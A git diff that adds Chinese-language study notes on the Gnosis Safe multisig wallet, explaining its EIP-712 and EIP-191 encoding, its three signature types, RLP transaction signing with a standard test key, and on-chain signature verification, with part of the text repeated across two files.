+bytes32 DOMAIN_SEPARATOR_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+然后是encodeData
+uint chain_id;
+assembly{
+	chain_id := chainid()
+}
+bytes memory encodeData = abi.encode(
+                            DOMAIN_SEPARATOR_TYPEHASH,
+                            chain_id,
+                            address(this));
+最后是得到DomainSeparatorHash
+bytes32 DomainSeparatorHash = keccak256(encodeData);
+```
+
+EIP712结构体2：SafeTx
+
+```assembly
+首先是encodeType:
+bytes32 SafeTx_TYPEHASH = keccak256("SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)");
+然后是encodeData:
+注意到data中由bytes类型，针对这种不固定长度的数据类型，编码时直接取其hash值作为编码数据
+bytes memory SafeTx_encodeData = abi.encode(
+	SafeTx_TYPEHASH,
+	address(to),
+	uint256(value),
+	keccak256(data),
+	uint256(uint8(operation)),
+	uint256(safeTxGas),
+	uint256(baseGas),
+	uint256(gasPrice),
+	address(gasToken),
+	address(refundReceiver),
+	uint256(nonce)
+)
+最后是得到SafeTxHash
+bytes32 SafeTxHash = keccak256(SafeTx_encodeData);
+```
+
+EIP712得到的结构化编码信息如下：
+
+```assembly
+abi.encodePacked(bytes1(0x19),bytes1(0x01),DomainSeparatorHash,SafeTxHash);
+```
+
+### 签名的三种类型：
+
+在GnosisSafe中，所有的签名都编码为{bytes32 r}{btyes32 s}{uint8 v}，共计65个bytes
+
+- 来自EOA的ECDSA签名:  V值范围为(26,31), 若V值大于30，说明需要减去4以适配eth_sign方式
+
+```assembly
+EOA的签名由三部分组成，R,S,v. 其中V值在EIP-155后的定义为：由{0,1}+27 -> {0,1} + chian_id*2 + 35
+r: 0xbde0b9f486b1960454e326375d0b1680243e031fd4fb3f070d9a3ef9871ccfd5
+s: 0x7d1a653cffb6321f889169f08e548684e005f2b0c3a6c06fba4c4a68f5e00624 
+v: 0x1c
+=> 编码后的签名为：
+bde0b9f486b1960454e326375d0b1680243e031fd4fb3f070d9a3ef9871ccfd5
+7d1a653cffb6321f889169f08e548684e005f2b0c3a6c06fba4c4a68f5e00624
+1c
+```
+
+签名验证：
+
+```js
+if v < 30: (v={0,1}+27)
+addr = ecrecover(dataHash,v,r,s)
+if V > 30: (v={0,1}+27+4)
+newDataHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",dataHash))
+addr = ecrecover(newDataHash,v-4,r,s)
+require(Owners[addr]!=address(0))
+```
+
+- 来自合约的EIP-1271签名
+
+```assembly
+EIP-1271签名是利用智能合约对一笔交易进行签名，其会返回一个验证签名的地址以及需要验证的动态数组bytes, 故在GnosisSafe的编码规则中，让V值为0，r值为验证签名的地址，v值为动态数组bytes的offset。类似于abi编码
+动态数组bytes的内容为：
+bytes public data = new bytes();
+data.push(0xdeadbeaf)
+则data中的内容为：
+{bytes32 offset}{bytes32 length}{bytes data}
+r: 0000000000000000000000000000000000000000000000000000000000000001 //验证合约地址
+s: 00000000000000000000000000000000000000000000000000000000000000c3 //bytes offset
+v: 00
+=>编码后的签名为：
+0000000000000000000000000000000000000000000000000000000000000001
+00000000000000000000000000000000000000000000000000000000000000c3
+00
+0000000000000000000000000000000000000000000000000000000000000008
+00000000000000000000000000000000000000000000000000000000deadbeaf
+```
+
+签名验证：
+
+```javascript
+ISignatureValidator(addr).isValidSignature(data,sig) == EIP1271_MAGIC_VALUE
+```
+
+- 预签名：
+
+```assembly
+预签名中设计V值为1，预签名用于GnosisSafe内部维护的map(address=>map(bytes32=>bool))，来确认某个账户对一笔交易哈希是否以及预先签名。为统一编码，这里的签名信息编码如下：
+r: 0000000000000000000000000000000000000000000000000000000000000002 //该比交易哈希的验证者地址
+s: 0000000000000000000000000000000000000000000000000000000000000000 //占位符
+v: 01
+=>
+0000000000000000000000000000000000000000000000000000000000000002
+0000000000000000000000000000000000000000000000000000000000000000
+01
+```
+
+签名验证：
+
+```js
+addr = r
+msg.sender == addr || approveHashes[addr][dataHash] == uint(true)
+```
+
+revert语法：
+
+```assembly
+The provided string will be abi-encoded as if it were a call to a function Error(string). In the above example, revert("Not enough Ether provided."); will cause the following hexadecimal data be set as error return data:
+0x08c379a0                                                         // Function selector for Error(string)
+0x0000000000000000000000000000000000000000000000000000000000000020 // Data offset
+0x000000000000000000000000000000000000000000000000000000000000001a // String length
+0x4e6f7420656e6f7567682045746865722070726f76696465642e000000000000 // String data
+```
+
+### 链上签名
+
+GnosisSafe提出了一个名为链上签名的解决方案，其要解决的问题是智能合约没有私钥，无法对一笔交易签名。它的解决方案是在状态合约中维护一个全局变量：
+
+```javascript
+mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+```
+
+然后该多签钱包的一个Owner通过调用合约的`approveHash`方法，传递要签名的交易hash，来实现链上对一笔交易签名。
+
+```
+function approveHash(bytes32 hashToApprove) external {
+	require(owners[msg.sender] != 0, "GnosisSafe/approveHash msg.sender is not an owner");
+	approveHashes[msg.sender][hashToApprove] = uint256(1);
+}
+```
+
+### 链下签名链上验证
+
+这是GnosisSafe中最常用的用法，多个用户同时对一笔交易签名后，组合得到的签名数据发送给链上，让链上对其验证。链上验证的逻辑主要在`execTransaction`方法中执行。
+
+#### 链下签名过程：
+
+##### 普通的EOA交易签名过程
+
+对于如下一笔交易数据：
+
+```js
+const tx2 = {
+    nonce:9,
+    gasPrice: "0x"+(20000000000).toString(16),//"0x4A817C800", 
+    gasLimit: "0x"+(21000).toString(16),//"0x5208",
+    to: '0x3535353535353535353535353535353535353535',
+    value: ethers.utils.parseEther("1.0"),
+    data: '',
+    chainId: 1,
+};
+```
+
+第一步：对其RLP编码
+
+$$
+RLP([nonce,gasprice,gaslimit,to,value,data,chainid,0,0])
+$$
+
+```assembly
+nonce: 9, => 0x09 => len=1
+gasPrice: 0x4A817C800,//20*10**9, => 0x8504A817C800 => len=6
+gasLimit: 0x5208,//21000, => 0x825208 => len=3
+to: 0x3535353535353535353535353535353535353535, => 0x943535353535353535353535353535353535353535 => len=21
+value: 0xDE0B6B3A7640000 //1 ether => 0x880DE0B6B3A7640000 => len=9
+data: "", => 0x80 => len=1
+v: 1 => 0x01 => len=1
+s: "" => 0x80 => len=1
+v: "" => 0x80 => len=1
+则RLP编码后签名前的交易为：
+上述字段组成了一个列表，RLP在对列表编码得：192+44=0xEC
+await ethers.utils.serializeTransaction(tx2) = 
+0xEC098504A817C800825208943535353535353535353535353535353535353535880DE0B6B3A764000080018080
+```
+
+第二步：得到未签名交易Hash
+
+```assembly
+keccak256(0xEC098504A817C800825208943535353535353535353535353535353535353535880DE0B6B3A764000080018080)
+=
+0xdaf5a779ae972f972197303d7b574746c7ef83eadac0f2791ad23db92e4c8e53
+```
+
+第三步：将未签名的交易哈希签名
+
+```js
+签名的私钥：0x4646464646464646464646464646464646464646464646464646464646464646
+则Alice的地址为：
+const alice = await new ethers.Wallet("0x4646464646464646464646464646464646464646464646464646464646464646")
+alice.address = 0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+得到的
+r: 18515461264373351373200002665853028612451056578545711640558177340181847433846=>
+s: 46948507304638947509940763649030358759909902576025900602547168820602576006531
+v: 37
+转换为对应的16进制为：
+ethers.utils.hexlify(ethers.BigNumber.from("18515461264373351373200002665853028612451056578545711640558177340181847433846"))
+r: 0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276
+s: 0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+v: 0x25
+则对应的tx变为：
+const tx3 = {
+    nonce:9,
+    gasPrice: ethers.utils.hexlify(ethers.BigNumber.from("20000000000")),//"0x4A817C800", 
+    gasLimit: ethers.utils.hexlify(ethers.BigNumber.from("21000")),//"0x5208",
+    to: '0x3535353535353535353535353535353535353535',
+    value: ethers.utils.parseEther("1.0"),
+    data: '',
+    v: 0x25,
+    r: 0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276,
+    s: 0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+};
+故签名后的数据进行RLP编码后为：
+await alice.signTransaction(tx2)=
+0xf86c098504a817c800825208943535353535353535353535353535353535353535880de0b6b3a76400008025a028ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276a067cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+
+ethers.utils.RLP.decode("0xf86c098504a817c800825208943535353535353535353535353535353535353535880de0b6b3a76400008025a028ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276a067cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83")
+[
+  '0x09',
+  '0x04a817c800',
+  '0x5208',
+  '0x3535353535353535353535353535353535353535',
+  '0x0de0b6b3a7640000',
+  '0x',
+  '0x25',
+  '0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276',
+  '0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83'
+]
+```
+
+这是一个EOA账户对该笔交易进行签名得到数据。
+
+##### 预签名交易：
+
+最开始理解presigned message时，会感到困惑。一直在思考按照EIP-712编码后的数据如何和普通的转账类交易混合编码，当重新读了一遍EIP-191后才渐渐理解。其实Presigned message压根就不需要再和普通的转账类交易去混合，它自己本身就是一种已经签名的信息，代表了EOA的意志，智能合约（通常是钱包）只需要验证签名是否正确，然后按照EOA的想法来执行相关的交易就行。预签名交易不遵循RLP编码方式。
+
+EIP-191 签名数据标准：
+
+为了与普通的交易信息区分开，EIP-191定义了presigned message标准。即：
+
+```assembly
+0x19 <1 byte version> <version specific data> <data to sign>
+```
+
+选择0x19作为开始字段的原因是普通的交易信息采用RLP编码，而RLP编码中的0x19开头只能是代表一个值：0x19本身，无法去对后续信息编码。从而与普通的RLP编码的普通交易区分开。
+
+对于目前的Presigned message来讲，一共有三种不同的实现版本：
+
+| Version Type | EIP     | Desc                         |
+| ------------ | ------- | ---------------------------- |
+| 0x00         | EIP-191 | Data with intended validator |
+| 0x01         | EIP-712 | Structured data              |
+| 0x45         | EIP-191 | personal_sign message        |
+
+对于version type = 0x00, <version specific data>中存放的是32位的验证者地址
+
+对于version type = 0x45, 在<data to sign>中，将`\x19Ethereum Signed Message:\n+len(message)`添加到了<data to sign>的前面，然后在进行哈希，签名。
+
+在Gnosis中，我们主要关注version type = 0x01, 即EIP-712的实现：
+
+如业务逻辑分析中指出：Gnosis定义了两个结构体，分别是EIP712Domain和SafeTx。一个作为DomainSeperator存入<version specific data>中，一个作为payload存入<data to sign>数据中。
+
+```js
+// const alice = await new ethers.Wallet("0x4646464646464646464646464646464646464646464646464646464646464646");
+// alice.address = 0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+let EIP712Domain = {
+	chainId: "1",
+    verifyingContract: '0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F', //alice
+}
+let SafeTx_types = {
+    SafeTx : [
+        {name: 'to', type:'address'},
+        {name: 'value', type: 'uint256'},
+        {name: 'data', type: 'bytes'},
+        {name: 'operation', type: 'uint8'},
+        {name: 'SafeTxGas', type: 'uint256'},
+        {name: 'baseGas', type: 'uint256'},
+        {name: 'gasPrice', type: 'uint256'},
+        {name: 'gasToken', type: 'address'},
+        {name: 'refundReceiver', type: 'address'},
+        {name: 'nonce', type: 'uint256'}
+    ]
+}
+let SafeTx_values = {
+    "to": '0x0000000000000000000000000000000000000000',
+    "value": "1",
+    "data": "0xdeadbeaf",
+    "operation": "0",
+    "SafeTxGas": ethers.utils.hexlify(ethers.BigNumber.from("20000000000")), //0x04a817c800
+    "baseGas": ethers.utils.hexlify(ethers.BigNumber.from("20000000000")), //0x04a817c800
+    "gasPrice": '0',
+    "gasToken": '0x0000000000000000000000000000000000000000',
+    "refundReceiver": "0x0000000000000000000000000000000000000000",
+    "nonce": "1",
+}
+哈希域名：
+keccak256(abi.encode(keccak256("EIP712Domain(uint256 chainId,address verifyingContract)"),uint256(1),uint256(uint160(address(0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F)))))
+=>
+0x47e79534a245952e8b16893a336b85a3d9ea9fa8c573f3d803afb92a79469218
+  0000000000000000000000000000000000000000000000000000000000000001
+  0000000000000000000000009d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+
+0x98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2
+
+ethers.utils._TypedDataEncoder.hashDomain(EIP712Domain)
+=>
+0x98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2
+数值哈希：
+keccak256(abi.encode(
+	keccak256("SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)"),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(1),
+    keccak256(bytes(0xdeadbeaf)),
+    uint256(uint8(0)),
+    uint256(0x04a817c800),
+    uint256(0x04a817c800),
+    uint256(0),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(uint160(address(0x0000000000000000000000000000000000000000))),
+    uint256(1)
+))
+=>
+0xbb8310d486368db6bd6f849402fdd73ad53d316b5a4b2644ad6efe0f941286d8
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000001
+b2245a4923cdc7f56016b95b14f0fc5f5b3cd64ee68e68c3da3d8f4a67da3752
+0000000000000000000000000000000000000000000000000000000000000000
+00000000000000000000000000000000000000000000000000000004a817c800
+00000000000000000000000000000000000000000000000000000004a817c800
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000000
+0000000000000000000000000000000000000000000000000000000000000001
+=>
+aad21e462218b5aa0cbcf79b0a35aedb0cb5284c70521a35065681c3641cd2c0
+整体编码：
+ethers.utils._TypedDataEncoder.encode(EIP712Domain,SafeTx_types,SafeTx_values) 
+=>
+abi.encodePacked(bytes1(0x19),bytes1(0x01),)
+0x19 //EIP-191定义的首字符为0x19
+  01 //EIP-191定义的version type 01
+  98f25862027c897aa0e497eac4a47094fd7b52be9b1bea9bb803916aec0409a2 //EIP-191定义的<version specific data> => hashDomain
+  aad21e462218b5aa0cbcf79b0a35aedb0cb5284c70521a35065681c3641cd2c0 //EIP-191定义的<data to sign> 数据的哈希值
+```
+
+上面通过EIP-721的编码后，需要进行哈希，然后在进行签名得到r,s,v
+
+```js
+ethers.utils._TypedDataEncoder.hash(EIP712Domain,SafeTx_types,SafeTx_values)
+=>
+0x0fda8d4f1c154fd9bb5139f4d0dd1eb327fd952ce7fe600be00bbf7486b91d6a
+```
+
+利用alice账户对哈希值进行签名，这样就得到了alice用户对于message的一个签名：
+
+```
+const alice = await new ethers.Wallet('0x4646464646464646464646464646464646464646464646464646464646464646')
+await alice.signMessage(ethers.utils.arrayify("0x0fda8d4f1c154fd9bb5139f4d0dd1eb327fd952ce7fe600be00bbf7486b91d6a"))
+=>
+0xb2ea252c31e822cedad8bdd1656c713b96f61345459ca47e14925f0f6e345ac4 //r
+  070c60d290a0acac4ebd44550b71dd032a99608dc770bd4a7295c235c5178aca //s
+  1c														  //v
+```
+
+当有多个EOA账户对该message进行签名时，会将多个交易的签名信息，即r,s,v值按照第一种签名编码方式进行编码，{bytes32 r}{bytes32 v}{uint8 v}，最后得到一个bytes类型的数据Signature.
+
+#### 链上验证过程
+
+前面对链下的签名过程进行了分析，其实质是综合了EIP-191,EIP-155,EIP-712等签名规范。这个章节部分，我们将对Gnosis的链上验证过程进行讨论。
+GnosisSafe的链上验证函数主要是：`checkNSignatures`, 其函数签名如下：
+
+```js
+function checkNSignatures(bytes32 dataHash,bytes memory data, bytes memory signatures, uint256 requiredSignatures) 
+	public view{}
+```
+
+函数里的主要逻辑是执行一个for循环，在每一个循环内部从sigatures里拿到对应的`r,s,v`值，然后根据它自定义的编码规则中的v值，依次判断签名的有效性。
+
+第一步：拿到sigantures中对应的r,s,v值
+
+由于其编码{bytes32 r}{bytes32 v}{bytes1 v}的编码方式，每一个owner的签名都占据65个bytes。
+
+```assembly
+首先拿到owner[i]对应的offset值：
+注意bytes memory signatures 指向的是sigantures的数据长度，真正的数据存放位置为: add(signatures,0x20)
+这里忽略了EIP-1127的情况，需要在签名情况验证中去处理
+uint i; bytes32 r; bytes32 s; uint8 v;
+assembly{
+	let base_offset := add(signatures, 0x20)
+	let owner_i_offset :=  add(base_offset, mul(i, 0x41))
+	r := mload(owner_i_offset)
+	s := mload(add(owner_i_offset, 0x20))
+	v := byte(0, mload(add(owner_i_offset, 0x40)))
+}
+return r,s,v;
+```
+
+第二步：EOA签名情况验证
+
+```js
+if (v < 30 && v > 25) {
+	address currentOwner = ecrecover(dataHash, v,r,s);
+	require(currentOwner == address(alice));
+}
+```
+
+第三步：EOA签名带personal_sign方法情况验证
+
+```js
+if (v > 30) {
+	v = v -4;
+	bytes memory newDataHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", dataHash));
+	address currentOwner = ecrecover(newDataHash,v,r,s);
+	require(currentOwner == address(alice));
+}
+```
+
+第四步：线上签名情况验证
+
+```js
+if (v == 1) {
+	address currentOwner = address(uint160(uint256(r)));
+	require(approvedHashes[currentOwner][dataHash] != 0 || msg.sender == currentOwner);
+}
+```
+
+第五步：合约签名情况验证
+
+```js
+bytes memory contractSignature;
+if (v == 0) {
+	address currentOwner = address(uint160(uint256(r)));
+	assembly{
+         let signatures_base := add(sigatures,0x20)
+		let sig_len := mload(add(signatures_base, s))
+		contractSignature := add(signatures_base, s) //并未跳过长度部分，仍然遵循Solidity规范
+	}
+	require(IEIP1271SignatureValidator(currentOwner).isValidSignature(data,contractSignature) == EIP1271_MAGIC_VALUE);
+}
+```
diff --git a/dao/Gnosis/Gnosis Safe Analysis01.md b/dao/Gnosis/Gnosis Safe Analysis01.md
new file mode 100644
index 000000000..d22b7f68e
--- /dev/null
+++ b/dao/Gnosis/Gnosis Safe Analysis01.md	
@@ -0,0 +1,485 @@
+## Genosis Safe简介
+
+![image20210827195813096.png](https://img.learnblockchain.cn/attachments/2021/09/ncWkMkb5613bff2dbdc1a.png)
+
+Genosis Safe简单来讲是一个多签钱包，它允许多个账户对同一笔交易进行签名，实现账户资金的安全管理。主要的应用有如下三个场景：
+
+1. 公司和合约可以安全地持有他们的资金，并要求大多数所有者接受转移资金。所以没有一个所有者可以带着钱跑。
+2. 公司可以在大多数所有者的共识下执行敏感交易。
+3. 个人可以使用multisig来拥有钥匙的冗余度。多重认证的一个特性是，如果你丢失了一把钥匙，你可以用剩下的两把钥匙恢复钱包。
+
+## 业务逻辑分析：
+
+Genosis Safe的主要业务逻辑是组合多个用户（可以是EOA，也可以是合约），多个用户同时对一笔交易进行签名，签名验证成功后，执行交易并扣除相应的Gas费用，将剩余Gas返回给设定的refund账户。用户可以加载多个模块，通过不同的模块对多签钱包的行为进行限制。
+
+### EIP712:
+
+$$
+hashStruct(S)=keccak256(abi.encode(typeHash,encodeData(S)))\\
+typeHash=keccak256(encodeType(typeOf(S)))
+$$
+
+EIP712中定义的结构体：
+
+```js
+EIP712Domain(uint256 chainId,address verifyingContract)
+SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)
+```
+
+EIP712结构体1：EIP712Domain
+
+```assembly
+首先是encodeType 
+bytes32 DOMAIN_SEPARATOR_TYPEHASH = keccak256("EIP712Domain(uint256 chainId,address verifyingContract)");
+然后是encodeData
+uint chain_id;
+assembly{
+	chain_id := chainid()
+}
+bytes memory encodeData = abi.encode(
+                            DOMAIN_SEPARATOR_TYPEHASH,
+                            chain_id,
+                            address(this));
+最后是得到DomainSeparatorHash
+bytes32 DomainSeparatorHash = keccak256(encodeData);
+```
+
+EIP712结构体2：SafeTx
+
+```assembly
+首先是encodeType:
+bytes32 SafeTx_TYPEHASH = keccak256("SafeTx(address to,uint256 value,bytes data,uint8 operation,uint256 safeTxGas,uint256 baseGas,uint256 gasPrice,address gasToken,address refundReceiver,uint256 nonce)");
+然后是encodeData:
+注意到data中由bytes类型，针对这种不固定长度的数据类型，编码时直接取其hash值作为编码数据
+bytes memory SafeTx_encodeData = abi.encode(
+	SafeTx_TYPEHASH,
+	address(to),
+	uint256(value),
+	keccak256(data),
+	uint256(uint8(operation)),
+	uint256(safeTxGas),
+	uint256(baseGas),
+	uint256(gasPrice),
+	address(gasToken),
+	address(refundReceiver),
+	uint256(nonce)
+)
+最后是得到SafeTxHash
+bytes32 SafeTxHash = keccak256(SafeTx_encodeData);
+```
+
+EIP712得到的结构化编码信息如下：
+
+```assembly
+abi.encodePacked(bytes1(0x19),bytes1(0x01),DomainSeparatorHash,SafeTxHash);
+```
+
+### 签名的三种类型：
+
+在GnosisSafe中，所有的签名都编码为{bytes32 r}{btyes32 s}{uint8 v}，共计65个bytes
+
+- 来自EOA的ECDSA签名:  V值范围为(26,31), 若V值大于30，说明需要减去4以适配eth_sign方式
+
+```assembly
+EOA的签名由三部分组成，R,S,v. 其中V值在EIP-155后的定义为：由{0,1}+27 -> {0,1} + chian_id*2 + 35
+r: 0xbde0b9f486b1960454e326375d0b1680243e031fd4fb3f070d9a3ef9871ccfd5
+s: 0x7d1a653cffb6321f889169f08e548684e005f2b0c3a6c06fba4c4a68f5e00624 
+v: 0x1c
+=> 编码后的签名为：
+bde0b9f486b1960454e326375d0b1680243e031fd4fb3f070d9a3ef9871ccfd5
+7d1a653cffb6321f889169f08e548684e005f2b0c3a6c06fba4c4a68f5e00624
+1c
+```
+
+签名验证：
+
+```js
+if v < 30: (v={0,1}+27)
+addr = ecrecover(dataHash,v,r,s)
+if V > 30: (v={0,1}+27+4)
+newDataHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",dataHash))
+addr = ecrecover(newDataHash,v-4,r,s)
+require(Owners[addr]!=address(0))
+```
+
+- 来自合约的EIP-1271签名
+
+```assembly
+EIP-1271签名是利用智能合约对一笔交易进行签名，其会返回一个验证签名的地址以及需要验证的动态数组bytes, 故在GnosisSafe的编码规则中，让V值为0，r值为验证签名的地址，v值为动态数组bytes的offset。类似于abi编码
+动态数组bytes的内容为：
+bytes public data = new bytes();
+data.push(0xdeadbeaf)
+则data中的内容为：
+{bytes32 offset}{bytes32 length}{bytes data}
+r: 0000000000000000000000000000000000000000000000000000000000000001 //验证合约地址
+s: 00000000000000000000000000000000000000000000000000000000000000c3 //bytes offset
+v: 00
+=>编码后的签名为：
+0000000000000000000000000000000000000000000000000000000000000001
+00000000000000000000000000000000000000000000000000000000000000c3
+00
+0000000000000000000000000000000000000000000000000000000000000008
+00000000000000000000000000000000000000000000000000000000deadbeaf
+```
+
+签名验证：
+
+```javascript
+ISignatureValidator(addr).isValidSignature(data,sig) == EIP1271_MAGIC_VALUE
+```
+
+- 预签名：
+
+```assembly
+预签名中设计V值为1，预签名用于GnosisSafe内部维护的map(address=>map(bytes32=>bool))，来确认某个账户对一笔交易哈希是否以及预先签名。为统一编码，这里的签名信息编码如下：
+r: 0000000000000000000000000000000000000000000000000000000000000002 //该比交易哈希的验证者地址
+s: 0000000000000000000000000000000000000000000000000000000000000000 //占位符
+v: 01
+=>
+0000000000000000000000000000000000000000000000000000000000000002
+0000000000000000000000000000000000000000000000000000000000000000
+01
+```
+
+签名验证：
+
+```js
+addr = r
+msg.sender == addr || approveHashes[addr][dataHash] == uint(true)
+```
+
+revert语法：
+
+```assembly
+The provided string will be abi-encoded as if it were a call to a function Error(string). In the above example, revert("Not enough Ether provided."); will cause the following hexadecimal data be set as error return data:
+0x08c379a0                                                         // Function selector for Error(string)
+0x0000000000000000000000000000000000000000000000000000000000000020 // Data offset
+0x000000000000000000000000000000000000000000000000000000000000001a // String length
+0x4e6f7420656e6f7567682045746865722070726f76696465642e000000000000 // String data
+```
+
+### 链上签名
+
+GnosisSafe提出了一个名为链上签名的解决方案，其要解决的问题是智能合约没有私钥，无法对一笔交易签名。它的解决方案是在状态合约中维护一个全局变量：
+
+```javascript
+mapping(address => mapping(bytes32 => uint256)) public approvedHashes;
+```
+
+然后该多签钱包的一个Owner通过调用合约的`approveHash`方法，传递要签名的交易hash，来实现链上对一笔交易签名。
+
+```
+function approveHash(bytes32 hashToApprove) external {
+	require(owners[msg.sender] != 0, "GnosisSafe/approveHash msg.sender is not an owner");
+	approveHashes[msg.sender][hashToApprove] = uint256(1);
+}
+```
+
+### 链下签名链上验证
+
+这是GnosisSafe中最常用的用法，多个用户同时对一笔交易签名后，组合得到的签名数据发送给链上，让链上对其验证。链上验证的逻辑主要在`execTransaction`方法中执行。
+
+#### 链下签名过程：
+
+##### 普通的EOA交易签名过程
+
+对于如下一笔交易数据：
+
+```js
+const tx2 = {
+    nonce:9,
+    gasPrice: "0x"+(20000000000).toString(16),//"0x4A817C800", 
+    gasLimit: "0x"+(21000).toString(16),//"0x5208",
+    to: '0x3535353535353535353535353535353535353535',
+    value: ethers.utils.parseEther("1.0"),
+    data: '',
+    chainId: 1,
+};
+```
+
+第一步：对其RLP编码
+
+$$
+RLP([nonce,gasprice,gaslimit,to,value,data,chainid,0,0])
+$$
+
+```assembly
+nonce: 9, => 0x09 => len=1
+gasPrice: 0x4A817C800,//20*10**9, => 0x8504A817C800 => len=6
+gasLimit: 0x5208,//21000, => 0x825208 => len=3
+to: 0x3535353535353535353535353535353535353535, => 0x943535353535353535353535353535353535353535 => len=21
+value: 0xDE0B6B3A7640000 //1 ether => 0x880DE0B6B3A7640000 => len=9
+data: "", => 0x80 => len=1
+v: 1 => 0x01 => len=1
+s: "" => 0x80 => len=1
+v: "" => 0x80 => len=1
+则RLP编码后签名前的交易为：
+上述字段组成了一个列表，RLP在对列表编码得：192+44=0xEC
+await ethers.utils.serializeTransaction(tx2) = 
+0xEC098504A817C800825208943535353535353535353535353535353535353535880DE0B6B3A764000080018080
+```
+
+第二步：得到未签名交易Hash
+
+```assembly
+keccak256(0xEC098504A817C800825208943535353535353535353535353535353535353535880DE0B6B3A764000080018080)
+=
+0xdaf5a779ae972f972197303d7b574746c7ef83eadac0f2791ad23db92e4c8e53
+```
+
+第三步：将未签名的交易哈希签名
+
+```js
+签名的私钥：0x4646464646464646464646464646464646464646464646464646464646464646
+则Alice的地址为：
+const alice = await new ethers.Wallet("0x4646464646464646464646464646464646464646464646464646464646464646")
+alice.address = 0x9d8A62f656a8d1615C1294fd71e9CFb3E4855A4F
+得到的
+r: 18515461264373351373200002665853028612451056578545711640558177340181847433846=>
+s: 46948507304638947509940763649030358759909902576025900602547168820602576006531
+v: 37
+转换为对应的16进制为：
+ethers.utils.hexlify(ethers.BigNumber.from("18515461264373351373200002665853028612451056578545711640558177340181847433846"))
+r: 0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276
+s: 0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+v: 0x25
+则对应的tx变为：
+const tx3 = {
+    nonce:9,
+    gasPrice: ethers.utils.hexlify(ethers.BigNumber.from("20000000000")),//"0x4A817C800", 
+    gasLimit: ethers.utils.hexlify(ethers.BigNumber.from("21000")),//"0x5208",
+    to: '0x3535353535353535353535353535353535353535',
+    value: ethers.utils.parseEther("1.0"),
+    data: '',
+    v: 0x25,
+    r: 0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276,
+    s: 0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+};
+故签名后的数据进行RLP编码后为：
+await alice.signTransaction(tx2)=
+0xf86c098504a817c800825208943535353535353535353535353535353535353535880de0b6b3a76400008025a028ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276a067cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83
+
+ethers.utils.RLP.decode("0xf86c098504a817c800825208943535353535353535353535353535353535353535880de0b6b3a76400008025a028ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276a067cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83")
+[
+  '0x09',
+  '0x04a817c800',
+  '0x5208',
+  '0x3535353535353535353535353535353535353535',
+  '0x0de0b6b3a7640000',
+  '0x',
+  '0x25',
+  '0x28ef61340bd939bc2195fe537567866003e1a15d3c71ff63e1590620aa636276',
+  '0x67cbe9d8997f761aecb703304b3800ccf555c9f3dc64214b297fb1966a3b6d83'
+]
+```
+
+这是一个EOA账户对该笔交易进行签名得到数据。
+
+##### 预签名交易：
+
+最开始理解presigned message时，会感到困惑。一直在思考按照EIP-712编码后的数据如何和普通的转账类交易混合编码，当重新读了一遍EIP-191后才渐渐理解。其实Presigned message压根就不需要再和普通的转账类交易去混合，它自己本身就是一种已经签名的信息，代表了EOA的意志，智能合约（通常是钱包）只需要验证签名是否正确，然后按照EOA的想法来执行相关的交易就行。预签名交易不遵循RLP编码方式。
+
+EIP-191 签名数据标准：
+
+为了与普通的交易信息区分开，EIP-191定义了presigned message标准。即：
+
+```assembly
+0x19 <1 byte version> <version specific data> <data to sign>
+```
+
+选择0x19作为开始字段的原因是普通的交易信息采用RLP编码，而RLP编码中的0x19开头只能是代表一个值：0x19本身，无法去对后续信息编码。从而与普通的RLP编码的普通交易区分开。
+
+对于目前的Presigned message来讲，一共有三种不同的实现版本：
+
+| Version Type | EIP     | Desc                         |
+| ------------ | ------- | ---------------------------- |
+| 0x00         | EIP-191 | Data with intended validator |
+| 0x01         | EIP-712 | Structured data              |
+| 0x45         | EIP-191 | personal_sign message        |
+
+对于version type = 0x00, <version specific data>中存放的是32位的验证者地址
+
